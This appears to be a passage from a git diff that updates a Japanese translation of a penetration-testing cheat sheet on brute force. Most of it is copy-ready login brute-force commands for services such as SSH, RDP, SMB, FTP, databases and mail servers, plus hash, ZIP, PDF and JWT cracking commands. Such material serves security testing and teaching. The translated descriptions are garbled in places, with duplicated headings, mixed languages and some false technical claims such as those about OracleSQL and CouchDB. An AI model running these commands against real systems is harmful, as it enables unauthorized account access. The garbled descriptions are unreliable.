-USBデバイストラッキングのための有用なシステムイベントIDには、初回使用のための20001/20003/10000、ドライバー更新のための10100、および挿入タイムスタンプのためのDeviceSetupManagerからのEventID 112が含まれます。 - -#### システム電源イベント - -EventID 6005はシステムの起動を示し、EventID 6006はシャットダウンを示します。 +EventID 6005 はシステムの起動を示し、EventID 6006 はシャットダウンを示します。 #### ログの削除 -セキュリティEventID 1102はログの削除を示し、フォレンジック分析にとって重要なイベントです。 +セキュリティ EventID 1102 はログの削除を示し、それは法的解析において重要なイベントです。 diff --git a/generic-methodologies-and-resources/brute-force.md b/generic-methodologies-and-resources/brute-force.md index 542b2c45f..8444fa6f5 100644 --- a/generic-methodologies-and-resources/brute-force.md +++ b/generic-methodologies-and-resources/brute-force.md @@ -1,24 +1,24 @@ # Brute Force - チートシート -
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ 今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-htARTE(HackTricks AWS Red Team Expert) を使用して、ゼロからヒーローまでAWSハッキングを学びましょう +ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手してください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 -* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。
@@ -41,7 +41,7 @@ HackTricksをサポートする他の方法: ## **独自の辞書を作成する** -ターゲットに関する情報をできるだけ多く見つけ、カスタム辞書を生成します。役立つツール: +ターゲットに関する情報をできるだけ見つけ、カスタム辞書を生成します。役立つツール: ### Crunch ```bash @@ -56,7 +56,7 @@ crunch 6 8 -t ,@@^^%% ``` ### Cewl -Cewlは、Webサイトから単語リストを生成するためのツールです。通常、Cewlは、Webサイトのテキストから単語を抽出し、それらをリスト化します。これにより、後でブルートフォース攻撃やパスワードスプレー攻撃で使用するための単語リストを作成できます。 +Cewlは、Webサイトから単語リストを生成するためのツールです。通常、辞書攻撃やブルートフォース攻撃の準備段階で使用されます。 ```bash cewl example.com -m 5 -w words.txt ``` @@ -68,7 +68,7 @@ python3 cupp.py -h ``` ### [Wister](https://github.com/cycurity/wister) -特定のターゲットに関して使用するための一意で理想的なワードリストを作成するために、与えられた単語から複数のバリエーションを作成することができるワードリストジェネレーターツールです。 +特定のターゲットに関して使用するための一意で理想的なワードリストを作成するために、与えられた単語から複数のバリエーションを作成することができるワードリストジェネレーターツール。 ```bash python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst @@ -102,7 +102,7 @@ Finished in 0.920s. * [**https://hashkiller.io/listmanager**](https://hashkiller.io/listmanager) * [**https://github.com/Karanxa/Bug-Bounty-Wordlists**](https://github.com/Karanxa/Bug-Bounty-Wordlists) -
+
\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ @@ -126,7 +126,7 @@ msf> run ``` ### AJP -AJP(Apache JServ Protocol)は、Apache Tomcatサーバーとの通信に使用されるプロトコルです。AJPを使用してTomcatサーバーに対してBrute Force攻撃を行うことができます。Brute Force攻撃は、辞書攻撃や総当たり攻撃などの手法を使用して、パスワードや認証情報を破る試行を行う攻撃手法です。 +AJP(Apache JServ Protocol)は、Apache Tomcatサーバーと連携するためのプロトコルです。AJPを使用して、Tomcatサーバーに対してBrute Force攻撃を実行することができます。 ```bash nmap --script ajp-brute -p 8009 ``` @@ -136,11 +136,7 @@ nmap --script ajp-brute -p 8009 ```bash legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl] ``` -### Cassandra - -#### Brute Force - -ブルートフォース攻撃は、Cassandra クラスターに対して有効な攻撃手法の1つです。この攻撃手法は、辞書攻撃や総当たり攻撃を使用して、ユーザー名やパスワードなどの認証情報を破ることを試みます。これにより、悪意のある攻撃者がシステムに不正アクセスする可能性があります。ブルートフォース攻撃からシステムを保護するためには、強力なパスワードポリシーを実装し、アカウントロックアウト機能を設定することが重要です。 +### カサンドラ ```bash nmap --script cassandra-brute -p 9160 # legba ScyllaDB / Apache Casandra @@ -148,7 +144,7 @@ legba scylla --username cassandra --password wordlists/passwords.txt --target lo ``` ### CouchDB -CouchDBは、データベースに対するブルートフォース攻撃を防ぐために、`max_document_size`と`max_request_size`の設定を適切に構成することが重要です。これらの設定を適切に構成することで、大量のリクエストや大きなドキュメントのアップロードを制限し、システムを保護することができます。 +CouchDBは、データベースに対するブルートフォース攻撃を防ぐために、以下のようなセキュリティ対策を実装しています。 ```bash msf> use auxiliary/scanner/couchdb/couchdb_login hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get / @@ -165,18 +161,18 @@ hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordl ``` ### FTP -FTP(File Transfer Protocol)は、ファイルをサーバーとクライアント間で転送するためのプロトコルです。 +FTP(File Transfer Protocol)は、ファイルをサーバーに転送するためのプロトコルです。FTPサーバーへのアクセスをブルートフォース攻撃で試みることができます。FTPサーバーは、一般的にポート21でリッスンしています。 ```bash hydra -l root -P passwords.txt [-t 32] ftp ncrack -p 21 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M ftp legba ftp --username admin --password wordlists/passwords.txt --target localhost:21 ``` -### HTTPジェネリックブルート +### HTTP ジェネリックブルート #### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md) -### HTTPベーシック認証 +### HTTP ベーシック認証 ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/ # Use https-get mode for https @@ -185,7 +181,7 @@ legba http.basic --username admin --password wordlists/passwords.txt --target ht ``` ### HTTP - NTLM -NTLM認証は、Windowsベースのシステムで一般的に使用される認証プロトコルです。NTLM認証をバイパスするために、ブルートフォース攻撃を使用することができます。NTLM認証のブルートフォース攻撃は、辞書攻撃やランダムなパスワードの組み合わせを試行することによって行われます。 +NTLM(NT LAN Manager)は、Windowsベースのシステムで使用される認証プロトコルです。NTLM認証をバイパスするために、ブルートフォース攻撃を使用することができます。 ```bash legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ @@ -197,14 +193,14 @@ hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordl ``` ### **HTTP - CMS --** (W)ordpress, (J)oomla or (D)rupal or (M)oodle -httpsの場合、"http-post-form"から"**https-post-form"**に変更する必要があります。 +**https**にするには、"http-post-form"から"**https-post-form"**に変更する必要があります ```bash cmsmap -f W/J/D/M -u a -p a https://wordpress.com # Check also https://github.com/evilsocket/legba/wiki/HTTP ``` ### IMAP -IMAP (Internet Message Access Protocol) is a widely used protocol for email retrieval. It supports both online and offline modes, allowing users to access their email from different devices. IMAP operates over port 143 by default. +IMAP(Internet Message Access Protocol)は、電子メールを受信するためのプロトコルです。IMAPサーバーへの不正アクセスを試みる際には、一般的にユーザー名とパスワードの組み合わせを総当たり攻撃(Brute Force Attack)することが一般的です。 ```bash hydra -l USERNAME -P /path/to/passwords.txt -f imap -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f imap -V @@ -213,19 +209,19 @@ legba imap --username user --password data/passwords.txt --target localhost:993 ``` ### IRC -IRC(Internet Relay Chat)は、オープンソースのチャットプロトコルであり、テキストベースのコミュニケーションを可能にします。IRCサーバーに対してブルートフォース攻撃を行うことで、ユーザー名やパスワードを推測しようとすることができます。 +IRC(Internet Relay Chat)は、オープンソースのリアルタイムチャットプロトコルであり、通常はテキストベースのチャットに使用されます。IRCは、チャットルームや個人間のメッセージングなど、さまざまなコミュニケーション形式をサポートしています。 ```bash nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p ``` ### ISCSI -### ISCSI +iSCSI (Internet Small Computer System Interface) is a protocol that allows SCSI commands to be sent over a network. It is commonly used in storage area networks (SANs) to provide block-level access to storage devices. ```bash nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 ``` ### JWT -JWT(JSON Web Token)は、認証や情報の交換に使用されるコンパクトで自己完結型の方法です。JWTは、ヘッダー、ペイロード、および署名から構成されています。JWTの署名を検証するためには、公開鍵が必要です。JWTの署名を検証するためには、公開鍵が必要です。 +JWT(JSON Web Token)は、認証や情報の交換に使用されるコンパクトで自己完結型の方法です。JWTは、署名されたトークンを生成し、それを送信者と受信者の間で安全に伝送するために使用されます。 ```bash #hashcat hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt @@ -250,19 +246,21 @@ jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibm ``` ### LDAP -LDAP(Lightweight Directory Access Protocol)は、ディレクトリサービスプロトコルであり、ユーザー情報やリソース情報を管理するために広く使用されています。LDAPサーバーへの不正アクセスを試みる場合、Brute Force攻撃が有効な手法として使用されます。Brute Force攻撃は、総当たり攻撃とも呼ばれ、辞書攻撃やランダムなパスワードの組み合わせを使用して、正しい認証情報を見つけることを試みます。LDAPサーバーに対するBrute Force攻撃は、適切なセキュリティ対策が講じられていない場合に成功する可能性があります。 +LDAP(Lightweight Directory Access Protocol)は、ディレクトリサービスにアクセスするためのプロトコルです。LDAPサーバーに対してブルートフォース攻撃を行うことで、ユーザー名やパスワードなどの情報を取得することが可能です。 ```bash nmap --script ldap-brute -p 389 legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match ``` ### MQTT -### MQTT +#### Brute Force + +Brute force attacks against MQTT involve attempting to connect to the MQTT broker using a large number of possible username and password combinations. This can be done using automated tools that systematically try different combinations until the correct one is found. It is important to use strong, unique credentials to prevent successful brute force attacks. ``` ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt ``` -### Mongo +### モンゴ ```bash nmap -sV --script mongodb-brute -n -p 27017 use auxiliary/scanner/mongodb/mongodb_login @@ -270,9 +268,7 @@ legba mongodb --target localhost:27017 --username root --password data/passwords ``` ### MSSQL -#### Brute Force - -Brute force attacks against MSSQL servers can be performed using tools like **Hydra** or **Ncrack**. These tools allow an attacker to systematically check all possible passwords until the correct one is found. It is important to note that brute force attacks can be time-consuming and may trigger account lockouts if too many incorrect attempts are made. It is recommended to use strong and complex passwords to mitigate the risk of a successful brute force attack. +MSSQL(Microsoft SQL Server)は、一般的なブルートフォース攻撃の標的です。ブルートフォース攻撃は、辞書攻撃やランダムなパスワードの組み合わせを使用して、MSSQLサーバーにログインするための正しい認証情報を見つけようとします。 ```bash legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433 ``` @@ -294,13 +290,9 @@ legba mysql --username root --password wordlists/passwords.txt --target localhos ``` ### OracleSQL -#### Brute Force +### OracleSQL -Brute force attacks are a common method used to gain unauthorized access to OracleSQL databases. Attackers use automated tools to systematically try all possible combinations of usernames and passwords until the correct one is found. This method is time-consuming but can be effective if the credentials are weak or easily guessable. - -#### Prevention - -To prevent brute force attacks on OracleSQL databases, it is essential to use strong, complex passwords that are not easily guessable. Additionally, implementing account lockout policies after a certain number of failed login attempts can help mitigate the risk of unauthorized access. Regularly monitoring and reviewing access logs can also help detect and prevent brute force attacks. +OracleSQLは、データベースに対してBrute Force攻撃を行う際に使用できるツールやスクリプトが豊富に利用可能です。Brute Force攻撃は、総当たり攻撃とも呼ばれ、パスワードや認証情報を破るために使用されます。OracleSQLを使用することで、データベースのセキュリティをテストし、脆弱性を特定することができます。 ```bash patator oracle_login sid= host= user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017 @@ -328,13 +320,13 @@ legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin - ```bash pip3 install cx_Oracle --upgrade ``` -[オフラインOracleSQLハッシュブルートフォース](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force)(**バージョン11.1.0.6、11.1.0.7、11.2.0.1、11.2.0.2**、および**11.2.0.3**): +[オフラインOracleSQLハッシュブルートフォース](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force)(バージョン11.1.0.6、11.1.0.7、11.2.0.1、11.2.0.2、および11.2.0.3): ```bash nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 ``` ### POP -POP(Post Office Protocol)は、電子メールを受信するためのプロトコルです。 +POP(Post Office Protocol)は、電子メールを受信するためのプロトコルです。POP攻撃は、辞書攻撃や総当たり攻撃などの手法を使用して、パスワードを推測し、メールアカウントにアクセスすることを試みます。 ```bash hydra -l USERNAME -P /path/to/passwords.txt -f pop3 -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f pop3 -V @@ -347,7 +339,7 @@ legba pop3 --username admin@example.com --password wordlists/passwords.txt --tar ``` ### PostgreSQL -PostgreSQLは、データベースへのアクセスを試みる際にBrute Force攻撃を使用することができます。Brute Force攻撃は、総当たり攻撃とも呼ばれ、すべての可能な組み合わせを試行して正しい認証情報を見つける手法です。これにより、不正アクセスを試みる攻撃者がデータベースにアクセスできる可能性があります。Brute Force攻撃からデータベースを保護するためには、強力なパスワードポリシーを実装し、アカウントロックアウト機能を有効にすることが重要です。 +PostgreSQLは、Brute Force攻撃に対して脆弱なパスワードを持つ可能性があるため、強力なパスワードポリシーを実装することが重要です。 ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt postgres medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres @@ -359,14 +351,14 @@ legba pgsql --username admin --password wordlists/passwords.txt --target localho ``` ### PPTP -[https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/)からインストール用の`.deb`パッケージをダウンロードできます。 +[https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/) からインストール用の `.deb` パッケージをダウンロードできます。 ```bash sudo dpkg -i thc-pptp-bruter*.deb #Install the package cat rockyou.txt | thc-pptp-bruter –u ``` ### RDP -RDP(Remote Desktop Protocol)は、Windowsマシンにリモートでアクセスするためのプロトコルです。RDPブルートフォース攻撃は、一連のユーザー名とパスワードの組み合わせを試し、正しい認証情報を見つけることを目的としています。これにより、攻撃者はシステムに不正アクセスできる可能性があります。 +RDP(Remote Desktop Protocol)は、Windowsマシンにリモートでアクセスするためのプロトコルです。RDPブルートフォース攻撃は、一連のユーザー名とパスワードの組み合わせを試し、正しい認証情報を見つけることを目的としています。 ```bash ncrack -vv --user -P pwds.txt rdp:// hydra -V -f -L -P rdp:// @@ -374,7 +366,7 @@ legba rdp --target localhost:3389 --username admin --password data/passwords.txt ``` ### Redis -Redis(リディス)は、オープンソースのインメモリデータ構造ストアであり、ネットワーク経由でデータをキャッシュするために使用されます。Redisサーバーに対してブルートフォース攻撃を行うことができます。 +### Redis ```bash msf> use auxiliary/scanner/redis/redis_login nmap --script redis-brute -p 6379 @@ -383,32 +375,22 @@ legba redis --target localhost:6379 --username admin --password data/passwords.t ``` ### Rexec -### Rexec - -Rexecは、リモートシステムに対してBrute Force攻撃を行うためのツールです。このツールは、ユーザー名とパスワードの組み合わせを総当たりで試行し、システムに不正アクセスを試みます。Rexecは、セキュリティテストや侵入テスト中に使用されることがあります。 +Rexecは、リモートシステムに対してBrute Force攻撃を行うためのツールです。通常、ユーザー名とパスワードの組み合わせを総当たりで試行し、システムに不正アクセスを試みます。 ```bash hydra -l -P rexec:// -v -V ``` ### Rlogin - -Rloginは、ユーザー名とパスワードの組み合わせを総当たりで試すために使用されることがあります。Brute-force攻撃を行う際には、ツールやスクリプトを使用して自動化することが一般的です。 ```bash hydra -l -P rlogin:// -v -V ``` ### Rsh -#### Brute Force - -Brute force attacks involve trying all possible combinations of a password until the correct one is found. This method is time-consuming but can be effective, especially if the password is weak. Tools like Hydra and Medusa can automate the process of brute forcing passwords. It is important to note that brute force attacks can be detected and prevented by implementing measures such as account lockouts after a certain number of failed attempts. +Rsh(リモートシェル)は、ユーザー名とパスワードの組み合わせを使ってリモートシステムにログインするためのプロトコルです。Brute force攻撃に対して脆弱であるため、セキュリティ上のリスクが高いとされています。 ```bash hydra -L rsh:// -v -V ``` [http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind) -### Rsync - -### Rsync - ### Rsync ```bash nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 @@ -420,8 +402,6 @@ RTSP(Real Time Streaming Protocol)は、リアルタイムのデータ配信 hydra -l root -P passwords.txt rtsp ``` ### SFTP - -SFTP(SSH File Transfer Protocol)は、SSHプロトコルを使用してファイルを安全に転送するためのプロトコルです。Brute force攻撃は、SFTPサーバーに対して一連のパスワードを試すことでアクセスを試みる方法の1つです。 ```bash legba sftp --username admin --password wordlists/passwords.txt --target localhost:22 # Try keys from a folder @@ -429,7 +409,7 @@ legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --tar ``` ### SNMP -SNMP(Simple Network Management Protocol)は、ネットワークデバイスの監視や管理に使用されるプロトコルです。 SNMPのバージョン1および2では、コミュニティ文字列を使用してデバイスにアクセスします。これは、Brute Force攻撃で破られる可能性があるため、セキュリティ上のリスクがあります。 +SNMP(Simple Network Management Protocol)は、ネットワークデバイスやサーバーなどの機器を監視し、管理するために使用される標準プロトコルです。 ```bash msf> use auxiliary/scanner/snmp/snmp_login nmap -sU --script snmp-brute [--script-args snmp-brute.communitiesdb= ] @@ -438,7 +418,7 @@ hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt ta ``` ### SMB -SMB(Server Message Block)は、Windowsベースのシステムで使用されるネットワークプロトコルです。SMBをブルートフォース攻撃することで、パスワードを推測してシステムにアクセスすることが可能です。 +SMB(Server Message Block)は、ネットワークファイル共有プロトコルであり、Windowsシステムで広く使用されています。 SMBのバージョン1はセキュリティ上の脆弱性が多いため、最新のバージョンにアップグレードすることが推奨されています。 SMBへのBrute Force攻撃は、一般的な攻撃手法の1つであり、辞書攻撃や総当たり攻撃などが使用されます。 ```bash nmap --script smb-brute -p 445 hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1 @@ -446,7 +426,7 @@ legba smb --target share.company.com --username admin --password data/passwords. ``` ### SMTP -Simple Mail Transfer Protocol(SMTP)は、電子メールを送信するために使用される標準プロトコルです。SMTPサーバーへのアクセスを狙ったBrute Force攻撃は、一般的な手法の1つです。Brute Force攻撃では、自動化されたツールを使用して、パスワードを継続的に推測し、正しいパスワードを見つけることを試みます。 +SMTP(Simple Mail Transfer Protocol)は、電子メールを送信するための標準プロトコルです。SMTPサーバーに対してブルートフォース攻撃を行うことで、不正アクセスを試みることができます。 ```bash hydra -l -P /path/to/passwords.txt smtp -V hydra -l -P /path/to/passwords.txt -s 587 -S -v -V #Port 587 for SMTP with SSL @@ -454,7 +434,7 @@ legba smtp --username admin@example.com --password wordlists/passwords.txt --tar ``` ### SOCKS -SOCKSは、ネットワークプロトコルであり、通常、ファイアウォールをバイパスするために使用されます。通常、SOCKSプロキシを使用して、Brute Force攻撃を行うことができます。Brute Force攻撃は、総当たり攻撃とも呼ばれ、自動化されたツールを使用して、パスワードや暗号鍵を破るために大量の試行を行う攻撃手法です。 +### SOCKS ```bash nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 legba socks5 --target localhost:1080 --username admin --password data/passwords.txt @@ -463,7 +443,7 @@ legba socks5 --target localhost:1080 --username admin --password data/passwords. ``` ### SQL Server -SQL Serverは、Microsoftが開発したリレーショナルデータベース管理システムです。SQL ServerへのBrute Force攻撃は、一般的なユーザー名とパスワードの組み合わせを繰り返し試行することで、不正アクセスを試みる手法です。Brute Force攻撃は、適切なセキュリティ対策がされていない場合に有効な攻撃手法となり得ます。 +SQL Serverは、Microsoftが開発したリレーショナルデータベース管理システムです。 ```bash #Use the NetBIOS name of the machine as domain crackmapexec mssql -d -u usernames.txt -p passwords.txt @@ -474,7 +454,7 @@ msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts ``` ### SSH -SSH(Secure Shell)は、ネットワークプロトコルであり、暗号化された通信セッションを確立するために使用されます。SSHブルートフォース攻撃は、辞書攻撃や総当たり攻撃を使用してSSHサーバーにアクセスを試みる攻撃手法です。SSHブルートフォース攻撃は、弱いパスワードを持つユーザーアカウントを標的とし、自動化されたツールを使用して大量のパスワードを試行します。SSHブルートフォース攻撃から自分のサーバーを保護するためには、強力なパスワードポリシーを実装し、公開鍵認証を使用することが重要です。 +SSH(Secure Shell)は、リモートマシンに安全にアクセスするためのプロトコルです。SSHブルートフォース攻撃は、辞書攻撃や総当たり攻撃を使用して、SSHサーバーに強制的にログインを試みる攻撃手法です。SSHブルートフォース攻撃は、弱いパスワードを使用している場合や、パスワード認証が有効になっている場合に特に危険です。 ```bash hydra -l root -P passwords.txt [-t 32] ssh ncrack -p 22 --user root -P passwords.txt [-T 5] @@ -486,7 +466,7 @@ legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --targ ``` #### 弱いSSHキー / Debian予測可能なPRNG -一部のシステムには、暗号資材を生成する際に使用されるランダムシードに既知の欠陥があります。これにより、劇的に減少したキースペースが生じ、[snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute)などのツールを使用してブルートフォース攻撃が可能となります。[g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)などの事前生成された弱いキーのセットも利用可能です。 +一部のシステムには、暗号資材を生成する際に使用されるランダムシードに既知の欠陥があります。これにより、大幅に減少したキースペースが生じ、[snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute)などのツールでブルートフォース攻撃が可能となります。[g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)などの事前生成された弱いキーのセットも利用可能です。 ### STOMP (ActiveMQ、RabbitMQ、HornetQ、およびOpenMQ) @@ -496,7 +476,7 @@ legba stomp --target localhost:61613 --username admin --password data/passwords. ``` ### Telnet -Telnetは、ネットワーク上の別のコンピューターに接続するためのプロトコルです。通常、ユーザー名とパスワードを要求するため、Brute Force攻撃の対象となります。 +Telnetは、ネットワーク上の別のコンピューターにログインするためのプロトコルです。一般的なBrute Force攻撃は、Telnetサーバーに対して一連のユーザー名とパスワードの組み合わせを試すことで行われます。 ```bash hydra -l root -P passwords.txt [-t 32] telnet ncrack -p 23 --user root -P passwords.txt [-T 5] @@ -513,7 +493,7 @@ legba telnet \ ``` ### VNC -VNC(Virtual Network Computing)は、リモートデスクトッププロトコルであり、リモートコンピューターの画面を表示および制御するために使用されます。VNCのブルートフォース攻撃は、一連のパスワードを試行し、正しいパスワードを見つけることを目的としています。 +VNC(Virtual Network Computing)は、リモートデスクトッププロトコルの1つであり、GUIを持つコンピュータシステムをリモートで制御するために使用されます。 VNCのパスワード認証は、通常、ブルートフォース攻撃に対して脆弱です。 ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s vnc medusa -h –u root -P /root/Desktop/pass.txt –M vnc @@ -532,10 +512,10 @@ set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst ```bash crackmapexec winrm -d -u usernames.txt -p passwords.txt ``` -
+
\ -[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し**自動化**します。\ +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ 今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -556,7 +536,7 @@ crackmapexec winrm -d -u usernames.txt -p passwords.txt * [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5) * [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com) -ハッシュをブルートフォースする前にこれをチェックしてください。 +ハッシュをブルートフォース攻撃する前に、これをチェックしてください。 ### ZIP ```bash @@ -574,10 +554,10 @@ john zip.john hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt .\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack ``` -#### 既知の平文zip攻撃 +#### 既知の平文 zip 攻撃 -暗号化されたzipファイル内に含まれるファイルの**平文(または平文の一部)を知る必要があります。** 暗号化されたzipに含まれるファイルの**ファイル名とサイズを確認するには**、**`7z l encrypted.zip`**を実行します。\ -[**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)をリリースページからダウンロードしてください。 +暗号化された zip ファイルの中に含まれるファイルの**平文(または平文の一部)を知る必要があります。** 暗号化された zip ファイルに含まれるファイルの**ファイル名とサイズを確認するには、**`7z l encrypted.zip`**を実行します。\ +[**bkcrack**](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)をリリースページからダウンロードしてください。 ```bash # You need to create a zip file containing only the file that is inside the encrypted zip zip plaintext.zip plaintext.file @@ -591,7 +571,7 @@ unzip unlocked.zip #User new_pwd as password ``` ### 7z -7zは、ファイルアーカイブと圧縮ユーティリティで、ブルートフォース攻撃の対象となることがあります。ブルートフォース攻撃を行うためには、通常、辞書攻撃やランダムなパスワードの生成を行うことが推奨されます。 +### 7z ```bash cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z ``` @@ -604,7 +584,7 @@ apt-get install libcompress-raw-lzma-perl ``` ### PDF -PDF(Portable Document Format)は、さまざまな種類の情報を表現するためのファイル形式です。PDFファイルは通常、テキスト、画像、フォーム、署名などを含むことができます。PDFファイルは一般的に、文書の保存や共有に広く使用されています。 +PDFファイルは、一般的にパスワード保護されており、ブルートフォース攻撃を使用してアクセスできます。ブルートフォース攻撃は、すべての可能なパスワードの組み合わせを試行し、正しいパスワードを見つける攻撃手法です。 ```bash apt-get install pdfcrack pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt @@ -615,7 +595,7 @@ qpdf --password= --decrypt encrypted.pdf plaintext.pdf ``` ### PDFオーナーパスワード -PDFのオーナーパスワードを解読するには、[こちら](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)を参照してください。 +PDFオーナーパスワードを解読するには、こちらを参照してください: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/) ### JWT ```bash @@ -629,16 +609,12 @@ python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5h python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john john jwt.john #It does not work with Kali-John ``` -### NTLM cracking - -### NTLM クラッキング +### NTLM クラック ```bash Format:USUARIO:ID:HASH_LM:HASH_NT::: john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot ``` -### Keepass - ### Keepass ```bash 